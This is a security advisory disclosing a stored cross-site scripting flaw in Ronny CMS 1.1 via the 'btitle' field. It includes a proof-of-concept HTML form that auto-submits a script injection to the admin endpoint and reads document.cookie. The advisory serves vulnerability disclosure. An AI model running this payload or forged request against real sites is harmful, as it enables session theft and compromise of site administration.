XSS vulnerability in Ronny CMS

Vulnerability ID: HTB22622
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_ronny_cms.html
Product: Ronny CMS
Vendor: TO4KA Programming Team ( http://ronny-cms.ru/ )
Vulnerable Version: 1.1 r935 and probably prior versions
Vendor Notification: 29 September 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules/system/admin/blocksadmin/blocksadmin.php" script to properly sanitize user-supplied input in "btitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/system/admin.php&quot; method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="bside" value="0" />
<input type="hidden" name="bshow_template" value="standard" />
<input type="hidden" name="bcmodule[]" value="-1" />
<input type="hidden" name="bcmodule[]" value="0" />
<input type="hidden" name="bcmodule[]" value="2" />
<input type="hidden" name="bcmodule[]" value="3" />
<input type="hidden" name="bvisible" value="0" />
<input type="hidden" name="bweight" value="" />
<input type="hidden" name="btitle" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="bcontent" value="" />
<input type="hidden" name="bctype" value="H" />
<input type="hidden" name="fct" value="blocksadmin" />
<input type="hidden" name="op" value="save" />

</form>
<script>
document.main.submit();
</script>